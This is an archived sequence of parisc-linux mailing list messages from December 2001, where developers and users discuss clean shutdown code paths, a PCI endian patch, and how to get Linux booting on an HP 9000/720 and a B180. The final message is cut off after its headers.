Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: two minor c3k bugs
Date: Sun, 2 Dec 2001 23:46:27 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20011202224752.D4B7C482C@dsl2.external.hp.com>
References: <200112010611.XAA11815@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620812 30894 80.91.229.3 (22 Nov 2014 01:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  2 15:47:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D4B7C482C
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Dec 2001 15:47:52 -0700 (MST)
Original-Received: (qmail 9845 invoked by uid 0); 2 Dec 2001 22:47:50 -0000
Original-Received: from pd904065b.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.6.91)
  by mail.gmx.net (mp002-rz3) with SMTP; 2 Dec 2001 22:47:50 -0000
X-Mailer: KMail [version 1.3.7]
In-Reply-To: <200112010611.XAA11815@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13238

Hi Grant,

On Saturday 01 December 2001 07:11, Grant Grundler wrote:
> > Currently I use "kill_proc(1, SIGINT, 0);" to kill the init-process -
> > which is normally a reboot-command and gives the above messages.
>
> Ok. that makes sense.
>
> > That's AFAICS not the right solution, but nfortunately I don't know
> > how to do it correct right now.
>
> ./kernel/sys.c:         printk(KERN_EMERG "Power down.\n");
>
> That chunk of code seems to do the right thing:
>         case LINUX_REBOOT_CMD_POWER_OFF:
>                 notifier_call_chain(&reboot_notifier_list, SYS_POWER_OFF,
> NULL); printk(KERN_EMERG "Power down.\n");
>                 machine_power_off();
>                 do_exit(0);
>                 break;
>
> I know that msg since I regularly "powerdown" my c3k.
> Perhaps replicate that code?

Yes, that's the right code-path, but sadly calling this function
would  immediately power off the computer without doing a nice
system shutdown.
I'll need to investigate how to first find the PID of the init process and
then how to tell it to shut down the system cleanly.

Helge

> cheers,
> grant




From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more on pci mmio swapping
Date: Sun, 2 Dec 2001 21:12:18 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <20011202211218.G944@tausq.org>
References: <20011116234859.U391@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620812 30898 80.91.229.3 (22 Nov 2014 01:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Dec  2 22:12:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4DEE482C
	for <parisc-linux@parisc-linux.org>; Sun,  2 Dec 2001 22:12:23 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id uwbljaaa for parisc-linux@parisc-linux.org; Sun, 2 Dec 2001 22:07:12 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16AlOs-00028p-00; Sun, 02 Dec 2001 21:12:18 -0800
Content-Disposition: inline
In-Reply-To: <20011116234859.U391@tausq.org>
User-Agent: Mutt/1.3.23i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13239

The PCI endian change posted to the list earlier has been checked in as
2.4.16-pa9. Please let me know if this breaks any of your pci mmio
devices....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joerg Hartmann <j.hartmann@reinarts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init error on a 720
Date: Mon, 3 Dec 2001 09:24:36 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <200112030820.JAA20988@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620812 30899 80.91.229.3 (22 Nov 2014 01:46:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  3 01:24:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2191B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Dec 2001 01:24:39 -0700 (MST)
Original-Received: from there (fwr-01.mediadesign.de [212.185.42.202])
	by post.webmailer.de (8.9.3/8.8.7) with SMTP id JAA20988
	for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Dec 2001 09:20:28 +0100 (MET)
X-Mailer: KMail [version 1.3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13240

Hello Guru's,

as you guess, i like to install Linux on a HP Workstation.
It is an hp9000 model 720.
And here the problem starts - on some websites is stated that pa-risc 
linux will never work on 720's  on some other sites i can read it does !
Maybe it depends - but on what ? 

So i took the 0.9.2 iso-image from www.parisc-linux.org and tried an 
installation. After switching to serial console i could see the kernel 
coming up until it has to start "init" - than it loops forever with

handle_interruption() pid=1 command='init'

On the list archive i found, that some other people had the same problem, 
even with 720 models.  But i could not find a solution which works for me.
If there is one , could you please tell me where to RTFM ?

Here are some hardware infos :

Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0, 
0x0
2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72, 
0x0, 0x0
5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0, 0x0
7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0, 0x0
8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74, 
0x0, 0x0
9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
That's a total of 10 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz

And there is a second problem with the scsi bus :

sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 0b8f8058 (script[0x0016]), dsps = 0b8f8cee, target = 0
scsi0: Failing command for ID0
scsi0: Unable to abort command for target 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 0b8f8058 (script[0x0016]), dsps = 0b8f8cee, target = 0
scsi0: Failing command for ID0
  Vendor: IBM       Model: CDRM00203     !K  Rev: BZ33
  Type:   CD-ROM                             ANSI SCSI revision: 02
  Vendor: HP        Model: HP35480A          Rev: TI00
  Type:   Sequential-Access                  ANSI SCSI revision: 02
  Vendor: HP        Model: 97560             Rev: 0BW2
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
SCSI device sda: 2647080 512-byte hdwr sectors (1355 MB)
Partition check:
 sda: unknown partition table

I realy hope you can point me to the right direction. 
If i can not  get linux up and running on that box, this computer will be 
put in the waste basket :-(

regards
			Jrg Hartmann
-- 
Joerg Hartmann
j.hartmann@reinarts.de



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init error on a 720
Date: Mon, 03 Dec 2001 12:21:15 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <3C0B602B.DE108C44@esiee.fr>
References: <200112030820.JAA20988@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620813 30901 80.91.229.3 (22 Nov 2014 01:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joerg Hartmann <j.hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  3 04:32:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32403482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Dec 2001 04:32:16 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 69F5749C41; Mon,  3 Dec 2001 12:32:13 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, fr-FR, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13241

HI Joerg,
> 
> as you guess, i like to install Linux on a HP Workstation.
> It is an hp9000 model 720.
> And here the problem starts - on some websites is stated that pa-risc
> linux will never work on 720's  on some other sites i can read it does !
> Maybe it depends - but on what ?

As you'll see, you have the answer hidden in your mail :)
In fact, the official website stated upon the latest ISO released and
our website
( http://mkhppa1.esiee.fr/list.html ) is based on the latest CVS. It is
a great difference. Some drivers have been rewritten or patched and some
CPU support has been added!
> http://mkhppa1.esiee.fr/list.htmlhttp://mkhppa1.esiee.fr/list.html
> So i took the 0.9.2 iso-image from www.parisc-linux.org and tried an
> installation. After switching to serial console i could see the kernel
> coming up until it has to start "init" - than it loops forever with
> 
This has been solved. You need a new boot-fllopy
> handle_interruption() pid=1 command='init'
> On the list archive i found, that some other people had the same problem,
> even with 720 models.  But i could not find a solution which works for me.
> If there is one , could you please tell me where to RTFM ?
Try the CVS mailing list search @
http://www.parisc-linux.org/mailing-lists/index.html !
With PCXS and init, you have this:
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-October/029699.html

> And there is a second problem with the scsi bus :
Richard Hirst has modified the code of the driver to make it work.
Try to pass this in the kernel parameter at boot time:
sim700=nodisc:0xff 
Anyway, more info on that here ->
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014116.html

> I realy hope you can point me to the right direction.
> If i can not  get linux up and running on that box, this computer will be
> put in the waste basket :-(
No, don't do that! :-)

Thomas.
ESIEE Team



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init error on a 720
Date: Mon, 3 Dec 2001 19:26:07 +0200
Lines: 142
Approved: news@gmane.org
Message-ID: <20011203192606.A499@dogbert.localdomain>
References: <200112030820.JAA20988@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="EVF5PPMfhYS0aIcm"
X-Trace: ger.gmane.org 1416620813 30903 80.91.229.3 (22 Nov 2014 01:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joerg Hartmann <j.hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  3 10:25:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57B73482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Dec 2001 10:25:47 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #6)
	id 16Awqd-0001NH-00
	for parisc-linux@lists.parisc-linux.org; Mon, 03 Dec 2001 19:25:43 +0200
Original-Received: (qmail 1610 invoked from network); 3 Dec 2001 17:25:40 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 3 Dec 2001 17:25:40 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 16Awr1-00008G-00; Mon, 03 Dec 2001 19:26:07 +0200
Content-Disposition: inline
In-Reply-To: <200112030820.JAA20988@post.webmailer.de>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *16Awqd-0001NH-00*JLdlGTvwee2* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13242

--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello Joerg,

I got my 720/50 up and running with 2.4.9-pa70 or thereabouts.
2.4.14-pa2 also worked fine. Haven't had time to test the newest kernel
yet. I suggest you check the parisc-linux archives. I was quite verbal
in my quest to get my 720/50 going. :-)

Basically, I did the following:

1. Enable the serial console
2. Create a new nfsroot by hacking the debootstrap scripts on my i386. I
   had to use some special debs here, but I believe they are now in
   unstable.
3. Cross-compile the latest kernel using xc-latest, and make a lifimage
   with palo.
4. Netboot the lifimage with bootpd/rbootd and mount the nfsroot created
   in step 2 read-write.
5. fdisk and mke2fs the partitions (remember the partition for palo!) I
   wanted to install on.
6. Manually walk through the debootstrap and install all the packages I
   required on the new mounted partition (you use a chroot sometimes).
7. Install palo.
8. Reboot. apt-get update. apt-get upgrade.

Or you could just wait for the 0.9.3 ISO which is out/will be out
shortly.

Regards,

Albert


On Mon, 03 Dec 2001, Joerg Hartmann wrote:

> Hello Guru's,
>=20
> as you guess, i like to install Linux on a HP Workstation.
> It is an hp9000 model 720.
> And here the problem starts - on some websites is stated that pa-risc=20
> linux will never work on 720's  on some other sites i can read it does !
> Maybe it depends - but on what ?=20
>=20
> So i took the 0.9.2 iso-image from www.parisc-linux.org and tried an=20
> installation. After switching to serial console i could see the kernel=20
> coming up until it has to start "init" - than it loops forever with
>=20
> handle_interruption() pid=3D1 command=3D'init'
>=20
> On the list archive i found, that some other people had the same problem,=
=20
> even with 720 models.  But i could not find a solution which works for me.
> If there is one , could you please tell me where to RTFM ?
>=20
> Here are some hardware infos :
>=20
> Found devices:
> 1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,=
=20
> 0x0
> 2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
> 3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
> 4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,=20
> 0x0, 0x0
> 5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
> 6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0, 0x0
> 7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0, 0x0
> 8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,=20
> 0x0, 0x0
> 9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
> 10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
> That's a total of 10 devices.
> CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
>=20
> And there is a second problem with the scsi bus :
>=20
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
> scsi0: Unable to abort command for target 0
> scsi0: Unable to send Bus Device Reset for target 0
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat =3D 0c, sstat0 =3D 00, sstat1 =3D 00, dstat =3D 00
> scsi0: dsp =3D 0b8f8058 (script[0x0016]), dsps =3D 0b8f8cee, target =3D 0
> scsi0: Failing command for ID0
> scsi0: Unable to abort command for target 0
> scsi0: Unable to abort command for target 1
> scsi0: Unable to send Bus Device Reset for target 1
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat =3D 0c, sstat0 =3D 00, sstat1 =3D 00, dstat =3D 00
> scsi0: dsp =3D 0b8f8058 (script[0x0016]), dsps =3D 0b8f8cee, target =3D 0
> scsi0: Failing command for ID0
>   Vendor: IBM       Model: CDRM00203     !K  Rev: BZ33
>   Type:   CD-ROM                             ANSI SCSI revision: 02
>   Vendor: HP        Model: HP35480A          Rev: TI00
>   Type:   Sequential-Access                  ANSI SCSI revision: 02
>   Vendor: HP        Model: 97560             Rev: 0BW2
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
> SCSI device sda: 2647080 512-byte hdwr sectors (1355 MB)
> Partition check:
>  sda: unknown partition table
>=20
> I realy hope you can point me to the right direction.=20
> If i can not  get linux up and running on that box, this computer will be=
=20
> put in the waste basket :-(
>=20
> regards
> 			J=F6rg Hartmann
> --=20
> Joerg Hartmann
> j.hartmann@reinarts.de
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

--EVF5PPMfhYS0aIcm
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8C7WuDg+hOeRZtkMRAuMAAKCA4en6QyH1wTZPblBCZWNhR/8BQQCdHXNZ
J06jMqfhZBd+mOJJfTfP1AA=
=ZLke
-----END PGP SIGNATURE-----

--EVF5PPMfhYS0aIcm--



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.4.16-pa10
Date: Mon, 03 Dec 2001 19:44:31 +0100 (CET)
Lines: 14
Approved: news@gmane.org
Message-ID: <1007405071.3c0bc80fe2d29@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620813 30906 80.91.229.3 (22 Nov 2014 01:46:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  3 11:44:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AABA482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Dec 2001 11:44:34 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16Ay4t-0002K7-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 03 Dec 2001 19:44:31 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13243

Hi all,

The kernel 2.4.16-pa10 run roughtly on my B180 (not yet tested on 712)
But STI console semms broken:
A large banner with "INVALID SCAN FREQ." in the middle of the screen and in
background something like parasitical tv reception (white line scanning
screen)... After some minutes it stop?
Thanks in advance for help,
        Joel

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Anderson <andersop@neverland.ncssm.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.16-pa10
Date: Mon, 3 Dec 2001 22:43:14 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112032239490.1252-100000@bob.ncssm.edu>
References: <1007405071.3c0bc80fe2d29@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620814 30907 80.91.229.3 (22 Nov 2014 01:46:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:54 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec  3 20:46:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bob.ncssm.edu (bob.ncssm.edu [152.34.37.42])
	by dsl2.external.hp.com (Postfix) with SMTP id 40EC6482C
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Dec 2001 20:46:44 -0700 (MST)
Original-Received: (qmail 2579 invoked by uid 20004); 4 Dec 2001 03:43:14 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 4 Dec 2001 03:43:14 -0000
X-X-Sender: <andersop@bob.ncssm.edu>
In-Reply-To: <1007405071.3c0bc80fe2d29@webmail.tiscalinet.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
